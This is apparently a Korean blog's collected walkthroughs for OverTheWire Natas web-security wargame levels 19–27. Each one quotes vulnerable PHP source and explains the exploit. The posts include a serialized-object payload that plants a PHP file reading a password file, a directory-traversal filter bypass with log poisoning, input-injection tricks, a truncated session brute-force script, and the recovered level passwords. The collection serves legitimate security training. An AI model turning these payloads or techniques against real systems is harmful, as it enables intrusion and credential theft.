<html> 

<head> 

<!-- This stuff in the header has nothing to do with the level --> 

<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"> 

<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" /> 

<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" /> 

<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script> 

<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script> 

<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script> 

<script>var wechallinfo = { "level": "natas27", "pass": "<censored>" };</script></head> 

<body> 

<h1>natas27</h1> 

<div id="content"> 

<? 



// morla / 10111 

// database gets cleared every 5 min  





/* 

CREATE TABLE `users` ( 

  `username` varchar(64) DEFAULT NULL, 

  `password` varchar(64) DEFAULT NULL 

); 

*/ 





function checkCredentials($link,$usr,$pass){ 

  

    $user=mysql_real_escape_string($usr); 

    $password=mysql_real_escape_string($pass); 

     

    $query = "SELECT username from users where username='$user' and password='$password' "; 

    $res = mysql_query($query, $link); 

    if(mysql_num_rows($res) > 0){ 

        return True; 

    } 

    return False; 

} 





function validUser($link,$usr){ 

     

    $user=mysql_real_escape_string($usr); 

     

    $query = "SELECT * from users where username='$user'"; 

    $res = mysql_query($query, $link); 

    if($res) { 

        if(mysql_num_rows($res) > 0) { 

            return True; 

        } 

    } 

    return False; 

} 





function dumpData($link,$usr){ 

     

    $user=mysql_real_escape_string($usr); 

     

    $query = "SELECT * from users where username='$user'"; 

    $res = mysql_query($query, $link); 

    if($res) { 

        if(mysql_num_rows($res) > 0) { 

            while ($row = mysql_fetch_assoc($res)) { 

                // thanks to Gobo for reporting this bug!   

                //return print_r($row); 

                return print_r($row,true); 

            } 

        } 

    } 

    return False; 

} 





function createUser($link, $usr, $pass){ 



    $user=mysql_real_escape_string($usr); 

    $password=mysql_real_escape_string($pass); 

     

    $query = "INSERT INTO users (username,password) values ('$user','$password')"; 

    $res = mysql_query($query, $link); 

    if(mysql_affected_rows() > 0){ 

        return True; 

    } 

    return False; 

} 





if(array_key_exists("username", $_REQUEST) and array_key_exists("password", $_REQUEST)) { 

    $link = mysql_connect('localhost', 'natas27', '<censored>'); 

    mysql_select_db('natas27', $link); 

    



    if(validUser($link,$_REQUEST["username"])) { 

        //user exists, check creds 

        if(checkCredentials($link,$_REQUEST["username"],$_REQUEST["password"])){ 

            echo "Welcome " . htmlentities($_REQUEST["username"]) . "!<br>"; 

            echo "Here is your data:<br>"; 

            $data=dumpData($link,$_REQUEST["username"]); 

            print htmlentities($data); 

        } 

        else{ 

            echo "Wrong password for user: " . htmlentities($_REQUEST["username"]) . "<br>"; 

        }         

    }  

    else { 

        //user doesn't exist 

        if(createUser($link,$_REQUEST["username"],$_REQUEST["password"])){  

            echo "User " . htmlentities($_REQUEST["username"]) . " was created!"; 

        } 

    } 



    mysql_close($link); 

} else { 

?> 



<form action="index.php" method="POST"> 

Username: <input name="username"><br> 

Password: <input name="password" type="password"><br> 

<input type="submit" value="login" /> 

</form> 

<? } ?> 

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div> 

</div> 

</body> 

</html>


먼저 소스코드를 살펴보면 주석을 통해 database의 username, password 가 64글자로 되어있다는 것을 알 수 있다. 사실 취약점은 여기에서 발생하는데 username과 password의 길이를 검증하지 않아 발생한다. username의 data type 사이즈가 64므로 64 이상을 입력하게 되면 자동으로 64로 뒤의 내용이 잘린다.

즉, username에 'natas28                                                         a'를 입력하면 길이가 65글자가 되므로 a가 잘리게 되고 trim되면 공백이 제거되어 결국 'natas28'이 된다.



username에 위와 같이 입력하고 패스워드를 맘대로 설정하고 가입한다.

그리고 해당 비밀번호로 natas28로 로그인 하게 되면 로그인이 성공적으로 이루어진다.




The password for natas28 is JWwR438wkgTsNKBbcJoowyysdM82YjeF



'Challenge > OverTheWire - Natas' 카테고리의 다른 글

OverTheWire - Natas Level 27  (0) 2016.10.20
OverTheWire - Natas Level 26  (0) 2015.06.08
OverTheWire - Natas Level 25  (0) 2015.06.06
OverTheWire - Natas Level 24  (0) 2015.06.06
OverTheWire - Natas Level 23  (0) 2015.06.06
OverTheWire - Natas Level 22  (0) 2015.06.06



<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas26", "pass": "<censored>" };</script></head>
<body>
<?php
    // sry, this is ugly as hell.
    // cheers kaliman ;)
    // - morla
    
    class Logger{
        private $logFile;
        private $initMsg;
        private $exitMsg;
      
        function __construct($file){
            // initialise variables
            $this->initMsg="#--session started--#\n";
            $this->exitMsg="#--session end--#\n";
            $this->logFile = "/tmp/natas26_" . $file . ".log";
      
            // write initial message
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$initMsg);
            fclose($fd);
        }                       
      
        function log($msg){
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$msg."\n");
            fclose($fd);
        }                       
      
        function __destruct(){
            // write exit message
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$this->exitMsg);
            fclose($fd);
        }                       
    }
 
    function showImage($filename){
        if(file_exists($filename))
            echo "<img src=\"$filename\">";
    }

    function drawImage($filename){
        $img=imagecreatetruecolor(400,300);
        drawFromUserdata($img);
        imagepng($img,$filename);     
        imagedestroy($img);
    }
    
    function drawFromUserdata($img){
        if( array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
            array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){
        
            $color=imagecolorallocate($img,0xff,0x12,0x1c);
            imageline($img,$_GET["x1"], $_GET["y1"], 
                            $_GET["x2"], $_GET["y2"], $color);
        }
        
        if (array_key_exists("drawing", $_COOKIE)){
            $drawing=unserialize(base64_decode($_COOKIE["drawing"]));
            if($drawing)
                foreach($drawing as $object)
                    if( array_key_exists("x1", $object) && 
                        array_key_exists("y1", $object) &&
                        array_key_exists("x2", $object) && 
                        array_key_exists("y2", $object)){
                    
                        $color=imagecolorallocate($img,0xff,0x12,0x1c);
                        imageline($img,$object["x1"],$object["y1"],
                                $object["x2"] ,$object["y2"] ,$color);
            
                    }
        }    
    }
    
    function storeData(){
        $new_object=array();

        if(array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
            array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){
            $new_object["x1"]=$_GET["x1"];
            $new_object["y1"]=$_GET["y1"];
            $new_object["x2"]=$_GET["x2"];
            $new_object["y2"]=$_GET["y2"];
        }
        
        if (array_key_exists("drawing", $_COOKIE)){
            $drawing=unserialize(base64_decode($_COOKIE["drawing"]));
        }
        else{
            // create new array
            $drawing=array();
        }
        
        $drawing[]=$new_object;
        setcookie("drawing",base64_encode(serialize($drawing)));
    }
?>

<h1>natas26</h1>
<div id="content">

Draw a line:<br>
<form name="input" method="get">
X1<input type="text" name="x1" size=2>
Y1<input type="text" name="y1" size=2>
X2<input type="text" name="x2" size=2>
Y2<input type="text" name="y2" size=2>
<input type="submit" value="DRAW!">
</form> 

<?php
    session_start();

    if (array_key_exists("drawing", $_COOKIE) ||
        (   array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
            array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET))){  
        $imgfile="img/natas26_" . session_id() .".png"; 
        drawImage($imgfile); 
        showImage($imgfile);
        storeData();
    }
    
?>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

이번 문제는 PHP Object Injection 취약점을 이용해 이미 선언되어있는 Class를 Overriding 하여 사용자가 원하는 Code를 Injection할 수 있다.

PHP에서는 unserialize 함수를 사용할 때 PHP Object Injection 취약점에 노출이 되는데, serialize된 값에 class를 재정의 하는 코드가 들어가 있으면 클래스가 재정의 되어 사용자가 원하는 코드로 변경된다.

자세한 내용은 OWASP TOP 10을 참고하도록 하자. https://www.owasp.org/index.php/PHP_Object_Injection


위는 쿠키에 입력할 serialize 된 데이터를 작성하기 위해 필자가 임의로 작성한 PHP 코드다.

<?php
    class Logger{
        private $logFile;
        private $initMsg;
        private $exitMsg;
      
        function __construct($file){
            // initialise variables
            $this->initMsg="";
            $this->exitMsg="<";
            $this->exitMsg.="?";
            $this->exitMsg.="passthru('cat /etc/natas_webpass/natas27'); ?>\n";
            $this->logFile = "img/zairo.php";
      
            // write initial message
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$initMsg);
            fclose($fd);
        }                       
      
        function __destruct(){
            // write exit message
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$this->exitMsg);
            fclose($fd);
        }                       
    }
    $logger = new Logger();
    echo base64_encode(serialize($logger));
    
    ?>





The password for natas27 is 55TBjpPZUUJgVP5b3BnbG6ON9uDPVzCJ



'Challenge > OverTheWire - Natas' 카테고리의 다른 글

OverTheWire - Natas Level 27  (0) 2016.10.20
OverTheWire - Natas Level 26  (0) 2015.06.08
OverTheWire - Natas Level 25  (0) 2015.06.06
OverTheWire - Natas Level 24  (0) 2015.06.06
OverTheWire - Natas Level 23  (0) 2015.06.06
OverTheWire - Natas Level 22  (0) 2015.06.06


<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas25", "pass": "<censored>" };</script></head>
<body>
<?php
    // cheers and <3 to malvina
    // - morla

    function setLanguage(){
        /* language setup */
        if(array_key_exists("lang",$_REQUEST))
            if(safeinclude("language/" . $_REQUEST["lang"] ))
                return 1;
        safeinclude("language/en"); 
    }
    
    function safeinclude($filename){
        // check for directory traversal
        if(strstr($filename,"../")){
            logRequest("Directory traversal attempt! fixing request.");
            $filename=str_replace("../","",$filename);
        }
        // dont let ppl steal our passwords
        if(strstr($filename,"natas_webpass")){
            logRequest("Illegal file access detected! Aborting!");
            exit(-1);
        }
        // add more checks...

        if (file_exists($filename)) { 
            include($filename);
            return 1;
        }
        return 0;
    }
    
    function listFiles($path){
        $listoffiles=array();
        if ($handle = opendir($path))
            while (false !== ($file = readdir($handle)))
                if ($file != "." && $file != "..")
                    $listoffiles[]=$file;
        
        closedir($handle);
        return $listoffiles;
    } 
    
    function logRequest($message){
        $log="[". date("d.m.Y H::i:s",time()) ."]";
        $log=$log . " " . $_SERVER['HTTP_USER_AGENT'];
        $log=$log . " \"" . $message ."\"\n"; 
        $fd=fopen("/tmp/natas25_" . session_id() .".log","a");
        fwrite($fd,$log);
        fclose($fd);
    }
?>

<h1>natas25</h1>
<div id="content">
<div align="right">
<form>
<select name='lang' onchange='this.form.submit()'>
<option>language</option>
<?php foreach(listFiles("language/") as $f) echo "<option>$f</option>"; ?>
</select>
</form>
</div>

<?php  
    session_start();
    setLanguage();
    
    echo "<h2>$__GREETING</h2>";
    echo "<p align=\"justify\">$__MSG";
    echo "<div align=\"right\"><h6>$__FOOTER</h6><div>";
?>
<p>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>


이번 문제는 LFI(Local FIle Include) 문제이다. 

딱 봐도 language에 따라 다른 파일을 읽어오는 것을 눈치 챌 수 있을것이다.

주소에 GET으로 language도 넘어가니 해당 변수를 변조한다면 충분히 다른 파일을 읽어올 수 있다.

소스를 보면 safeinclude 함수를 이용해 ../를 필터링하는 것을 확인 할 수 있다.

하지만 ../를 한번만 필터링하고 두번쨰는 필터링 하지 않아서 ..././와 같이 입력하게 되면

.[../]./ => ../ 와 같이 ../가 나타나게 된다.

이를 이용하여 ../를 우회할수 있게되고 상위 디렉터리에 있는 파일을 불러올 수 있게된다.

여기에서 사용자가 조작할 수 있는 파일은 유일하게 log파일 이므로 log 파일을 불러오도록 한다.



log 파일을 불러오면 User-Agent 및 요청 시간들이 적혀 있는 것을 볼 수 있다.

여기서 쉽게 변조 할 수 있는 것은 User-Agent이다.

HTTP Header에 있는 User-Agent 메소드에 php 실행문을 실어 보내면 저기의 로그파일에 해당 php 실행문이 쌓이게 되고,

이 파일에서 include 하므로 결론적으로는 User-Agent로 보낸 php 실행문이 실행되게 된다.

아래와 같이 /etc/natas_webpass/natas25를 불러와서 내용을 출력하게 만들면 문제는 풀린다.





The password for natas26 is oGgWAJ7zcGT28vYazGo4rkhOPDhBu34T



'Challenge > OverTheWire - Natas' 카테고리의 다른 글

OverTheWire - Natas Level 27  (0) 2016.10.20
OverTheWire - Natas Level 26  (0) 2015.06.08
OverTheWire - Natas Level 25  (0) 2015.06.06
OverTheWire - Natas Level 24  (0) 2015.06.06
OverTheWire - Natas Level 23  (0) 2015.06.06
OverTheWire - Natas Level 22  (0) 2015.06.06



<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas24", "pass": "<censored>" };</script></head>
<body>
<h1>natas24</h1>
<div id="content">

Password:
<form name="input" method="get">
    <input type="text" name="passwd" size=20>
    <input type="submit" value="Login">
</form>

<?php
    if(array_key_exists("passwd",$_REQUEST)){
        if(!strcmp($_REQUEST["passwd"],"<censored>")){
            echo "<br>The credentials for the next level are:<br>";
            echo "<pre>Username: natas25 Password: <censored></pre>";
        }
        else{
            echo "<br>Wrong!<br>";
        }
    }
    // morla / 10111
?>  
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

이번 문제는 php의 strcmp의 취약점을 이용해 인증을 우회하는 문제이다.

해당 취약점은 PHP 5.3 버전에서 발생하는 취약점인데 strcmp에서 비교할 변수에 array를 넣어주면 NULL을 리턴한다는 것이다.

해당 취약점을 발생시키기 위해 URL에 passwd[]= 처럼 변수뒤에 []를 넣어 배열로 만들어준다.

그럼 아래와 같이 인증이 우회되게 된다.



The password for natas25 is GHF6X7YwACaYYssHVY05cFq83hRktl4c



'Challenge > OverTheWire - Natas' 카테고리의 다른 글

OverTheWire - Natas Level 26  (0) 2015.06.08
OverTheWire - Natas Level 25  (0) 2015.06.06
OverTheWire - Natas Level 24  (0) 2015.06.06
OverTheWire - Natas Level 23  (0) 2015.06.06
OverTheWire - Natas Level 22  (0) 2015.06.06
OverTheWire - Natas Level 21  (0) 2015.06.06



<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas23", "pass": "<censored>" };</script></head>
<body>
<h1>natas23</h1>
<div id="content">

Password:
<form name="input" method="get">
    <input type="text" name="passwd" size=20>
    <input type="submit" value="Login">
</form>

<?php
    if(array_key_exists("passwd",$_REQUEST)){
        if(strstr($_REQUEST["passwd"],"iloveyou") && ($_REQUEST["passwd"] > 10 )){
            echo "<br>The credentials for the next level are:<br>";
            echo "<pre>Username: natas24 Password: <censored></pre>";
        }
        else{
            echo "<br>Wrong!<br>";
        }
    }
    // morla / 10111
?>  
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>


이번 문제는 딱히 뭐라고 설명 할 수 없을 정도로 쉽다.

strstr 함수는 앞에 있는 변수에 뒤의 문자열이 들어있으면 참, 그렇지 않으면 거짓을 반환 하는 함수이다.

이 함수를 만족시키면서 뒤의 10보다 큰 그런 문자열을 passwd에 입력해주면 된다.

필자는 null을 입력하여 구분자를 지어주었다.

100%00iloveyou



The password for natas24 is OsRmXFguozKpTZZ5X14zNO43379LZveg



'Challenge > OverTheWire - Natas' 카테고리의 다른 글

OverTheWire - Natas Level 25  (0) 2015.06.06
OverTheWire - Natas Level 24  (0) 2015.06.06
OverTheWire - Natas Level 23  (0) 2015.06.06
OverTheWire - Natas Level 22  (0) 2015.06.06
OverTheWire - Natas Level 21  (0) 2015.06.06
OverTheWire - Natas Level 20  (0) 2015.06.05


<? 
session_start(); 

if(array_key_exists("revelio", $_GET)) { 
    // only admins can reveal the password 
    if(!($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1)) { 
    header("Location: /"); 
    } 
} 
?> 


<html> 
<head> 
<!-- This stuff in the header has nothing to do with the level --> 
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"> 
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" /> 
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" /> 
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script> 
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script> 
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script> 
<script>var wechallinfo = { "level": "natas22", "pass": "<censored>" };</script></head> 
<body> 
<h1>natas22</h1> 
<div id="content"> 

<? 
    if(array_key_exists("revelio", $_GET)) { 
    print "You are an admin. The credentials for the next level are:<br>"; 
    print "<pre>Username: natas23\n"; 
    print "Password: <censored></pre>"; 
    } 
?> 

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div> 
</div> 
</body> 
</html>


이번 문제는 php 개발을 하면서 흔히 발생하는 실수로 인한 심각성을 나타내고자 하는 문제인 것 같다.

보통 php 개발을 하다보면 문제가 발생했거나 예외 상황 발생시 header 함수로 error 페이지로 리다이렉팅 시키는 경우가 대부분인데 이럴 때 exit 함수를 이용하여 뒤의 php 실행 문들을 실행되지 못하게 해야 안전하다.

이 문제에서는 exit를 사용하지 않아 뒤의 php 코드가 실행되어 키를 알려주게 된다.

소스를 보면 revelio 라는 변수를 넘겨주기만 해도 아래의 admin 패스워드를 알려주는데 위에 있는 header 문 때문에 다른 페이지로 넘어 가게 된다.

이를 보는 방법은 간단하다.

fiddler를 이용하여 보거나, wireshark 등을 사용하여 이동하는 데이터를 보기만 해도 뒤의 php문이 실행되어 딸려오는 것을 확인 할 수 있다.





The password for natas23 is D0vlad33nQF0Hz2EP255TP5wSW9ZsRSE



'Challenge > OverTheWire - Natas' 카테고리의 다른 글

OverTheWire - Natas Level 24  (0) 2015.06.06
OverTheWire - Natas Level 23  (0) 2015.06.06
OverTheWire - Natas Level 22  (0) 2015.06.06
OverTheWire - Natas Level 21  (0) 2015.06.06
OverTheWire - Natas Level 20  (0) 2015.06.05
OverTheWire - Natas Level 19  (1) 2015.05.27




<? 

function print_credentials() { /* {{{ */ 
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) { 
    print "You are an admin. The credentials for the next level are:<br>"; 
    print "<pre>Username: natas22\n"; 
    print "Password: <censored></pre>"; 
    } else { 
    print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas22."; 
    } 
} 
/* }}} */ 

session_start(); 
print_credentials(); 

?>


이번 문제는 생각보다 너무너무너무 간단하다.

쿠키와 세션 사이의 상관관계에 대해 묻고 싶었던 것 같은데 이를 알고 있는 사람에겐 너무 쉬운 문제이다.

쿠키는 사용자가 익스플로러를 사용할 동안 임시로 저장되는 작은 데이터이고 세션은 서버쪽에 저장되는 사용자에 대한 데이터이다.

즉 세션을 불러오려면 세션아이디와 같은 쿠키가 있어야한다. 쉽게 표현하면 파일명은 쿠키, 파일내용은 세션이라고 하면 될 것이다.

위의 Note 라인을 보면 이 웹사이트는 다음의 URL에 있는 페이지와 공유된다고 적혀있다.

여기에서 공유라는 의미는 두개의 웹사이트의 세션과 쿠키가 공유 된다는 의미이다.

먼저 위에 나와있는 주소로 접속해보면 아래와 같은 페이지가 나온다.


<?   

session_start(); 

// if update was submitted, store it 
if(array_key_exists("submit", $_REQUEST)) { 
    foreach($_REQUEST as $key => $val) { 
    $_SESSION[$key] = $val; 
    } 
} 

if(array_key_exists("debug", $_GET)) { 
    print "[DEBUG] Session contents:<br>"; 
    print_r($_SESSION); 
} 

// only allow these keys 
$validkeys = array("align" => "center", "fontsize" => "100%", "bgcolor" => "yellow"); 
$form = ""; 

$form .= '<form action="index.php" method="POST">'; 
foreach($validkeys as $key => $defval) { 
    $val = $defval; 
    if(array_key_exists($key, $_SESSION)) { 
    $val = $_SESSION[$key]; 
    } else { 
    $_SESSION[$key] = $val; 
    } 
    $form .= "$key: <input name='$key' value='$val' /><br>"; 
} 
$form .= '<input type="submit" name="submit" value="Update" />'; 
$form .= '</form>'; 

$style = "background-color: ".$_SESSION["bgcolor"]."; text-align: ".$_SESSION["align"]."; font-size: ".$_SESSION["fontsize"].";"; 
$example = "<div style='$style'>Hello world!</div>"; 

?> 

<p>Example:</p> 
<?=$example?> 

<p>Change example values here:</p> 
<?=$form?>


아래의 이미지에 있는 주소처럼 admin 변수에 1을 넣어주면 된다.



그리고 위와 같이 쿠키에 있는 PHP 세션아이디를 가져와서 아래에 있는 페이지에 세션아이디를 집어넣는다.






The password for natas22 is chG9fbe1Tq2eWVMgjYYD1MsfIvN461kJ



'Challenge > OverTheWire - Natas' 카테고리의 다른 글

OverTheWire - Natas Level 23  (0) 2015.06.06
OverTheWire - Natas Level 22  (0) 2015.06.06
OverTheWire - Natas Level 21  (0) 2015.06.06
OverTheWire - Natas Level 20  (0) 2015.06.05
OverTheWire - Natas Level 19  (1) 2015.05.27
OverTheWire - Natas Level 18  (0) 2015.05.27


이번문제는 PHP의 직렬화(Serialization)의 취약점에 관한 문제이다. 



<html> 
<head> 
<!-- This stuff in the header has nothing to do with the level --> 
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"> 
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" /> 
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" /> 
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script> 
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script> 
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script> 
<script>var wechallinfo = { "level": "natas20", "pass": "<censored>" };</script></head> 
<body> 
<h1>natas20</h1> 
<div id="content"> 
<? 

function debug($msg) { /* {{{ */ 
    if(array_key_exists("debug", $_GET)) { 
        print "DEBUG: $msg<br>"; 
    } 
} 
/* }}} */ 
function print_credentials() { /* {{{ */ 
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) { 
    print "You are an admin. The credentials for the next level are:<br>"; 
    print "<pre>Username: natas21\n"; 
    print "Password: <censored></pre>"; 
    } else { 
    print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas21."; 
    } 
} 
/* }}} */ 

/* we don't need this */ 
function myopen($path, $name) {  
    //debug("MYOPEN $path $name");  
    return true;  
} 

/* we don't need this */ 
function myclose() {  
    //debug("MYCLOSE");  
    return true;  
} 

function myread($sid) {  
    debug("MYREAD $sid");  
    if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) { 
    debug("Invalid SID");  
        return ""; 
    } 
    $filename = session_save_path() . "/" . "mysess_" . $sid; 
    if(!file_exists($filename)) { 
        debug("Session file doesn't exist"); 
        return ""; 
    } 
    debug("Reading from ". $filename); 
    $data = file_get_contents($filename); 
    $_SESSION = array(); 
    foreach(explode("\n", $data) as $line) { 
        debug("Read [$line]"); 
    $parts = explode(" ", $line, 2); 
    if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1]; 
    } 
    return session_encode(); 
} 

function mywrite($sid, $data) {  
    // $data contains the serialized version of $_SESSION 
    // but our encoding is better 
    debug("MYWRITE $sid $data");  
    // make sure the sid is alnum only!! 
    if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) { 
    debug("Invalid SID");  
        return; 
    } 
    $filename = session_save_path() . "/" . "mysess_" . $sid; 
    $data = ""; 
    debug("Saving in ". $filename); 
    ksort($_SESSION); 
    foreach($_SESSION as $key => $value) { 
        debug("$key => $value"); 
        $data .= "$key $value\n"; 
    } 
    file_put_contents($filename, $data); 
    chmod($filename, 0600); 
} 

/* we don't need this */ 
function mydestroy($sid) { 
    //debug("MYDESTROY $sid");  
    return true;  
} 
/* we don't need this */ 
function mygarbage($t) {  
    //debug("MYGARBAGE $t");  
    return true;  
} 

session_set_save_handler( 
    "myopen",  
    "myclose",  
    "myread",  
    "mywrite",  
    "mydestroy",  
    "mygarbage"); 
session_start(); 

if(array_key_exists("name", $_REQUEST)) { 
    $_SESSION["name"] = $_REQUEST["name"]; 
    debug("Name set to " . $_REQUEST["name"]); 
} 

print_credentials(); 

$name = ""; 
if(array_key_exists("name", $_SESSION)) { 
    $name = $_SESSION["name"]; 
} 

?> 

<form action="index.php" method="POST"> 
Your name: <input name="name" value="<?=$name?>"><br> 
<input type="submit" value="Change name" /> 
</form> 
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div> 
</div> 
</body> 
</html>


소스를 보면 PHP의 세션의 값을 직렬화하여 파일로 저장하고 쿠키를 이용해 해당 파일을 읽어와 세션을 불러오는 식의 알고리즘을 수행하고 있는 것을 알 수 있다.

하지만 세션에 들어가는 값 중 Name에 해당하는 값만 사용자가 변경이 가능 할 뿐 나머지는 접근 조차 허용되지 않는다.

필자도 처음에는 헤맸으나 아래의 스크린샷에서 힌트를 얻어 문제를 풀었다.




위의 이미지의 아래 DEBUG: MYWRITE ~ name|s:4"test"; 부분을 보면

사용자가 입력한 값이 들어가고 name => test로 설정된다.

어떻게 admin 변수를 생성하고 그 변수에 1을 넣을지 생각하다가 위의 |를 자세히 보게 되었다.

|는 변수간 구분을 의미하고 새로운 변수의 시작을 알리는 개행문자의 역할도 하고 있는 것을 보면 |를 조작하여 입력하면 새로운 변수를 조작할 수 있지 않을까라는 생각으로 |를 넣었지만 변수는 조작되지 않았다.

그러다 개행 문자를 의미하는 %0A를 입력하자 새로운 변수가 추가 된 것을 확인 할 수 있었다.





The password for natas21 is IFekPyrQXftziDEsUr3x21sYuahypdgJ



'Challenge > OverTheWire - Natas' 카테고리의 다른 글

OverTheWire - Natas Level 22  (0) 2015.06.06
OverTheWire - Natas Level 21  (0) 2015.06.06
OverTheWire - Natas Level 20  (0) 2015.06.05
OverTheWire - Natas Level 19  (1) 2015.05.27
OverTheWire - Natas Level 18  (0) 2015.05.27
OverTheWire - Natas Level 17  (0) 2015.05.27



문제를 보니, 전의 Session Hijacking의 심화 문제인 것을 알 수 있다.

코드는 전 문제와 유사하지만, 순차적인 Session ID는 더 이상 적용하지 않았다고 한다.

먼저 아무렇게나 로그인 해서 Session을 분석해보자

필자는 username에 A를 password에는 B를 넣고 로그인을 해보았다.

5번 로그인 로그아웃을 반복하면서 Session ID의 변화를 살펴보니 아래와 같았다.

37332d41

3131352d41

3134362d41

3536302d41

3130352d41

일정한 문자가 항상 뒤에 붙는 것을 알 수 있다. 그런데 41이라니 익숙한 숫자이지 않은가?

A의 askii 코드를 16진수로 나타내면 41이다. 즉 URL encode라고 할 수 있다.

그럼 위의 문자들을 모두 URL decode 해보도록 하자.

37332d41     = 73-A

3131352d41   = 115-A

3134362d41   = 146-A

3536302d41   = 560-A

3130352d41   = 105-A


자 앞에 숫자 그리고 뒤에 - 와 username으로 적었던 문자가 적혀있는 것을 볼 수 있다.

그럼 원리를 알았으니 프로그래밍을 이용해 Bruteforce 공격을 해보도록 하자.

아래는 필자가 작성한 Bruteforce 프로그래밍 코드이다.


import urllib
import urllib2
import time

def convert_char_urlencode(character):
	return str('%02x' % ord(character))

def convert_urlencode(string):
	temp = ""
	for ch in string:
		temp += convert_char_urlencode(ch)
	return temp
	
for i in range(1,641):
    url = "http://natas19.natas.labs.overthewire.org/index.php"
    form = {"username" : "admin", "password" : "anything"}

    form_req = urllib.urlencode(form)

    request = urllib2.Request(url, form_req, headers ={
        "Authorization" : "Basic bmF0YXMxOTo0SXdJcmVrY3VabEE5T3NqT2tvVXR3VTZsaG9rQ1BZcw==",
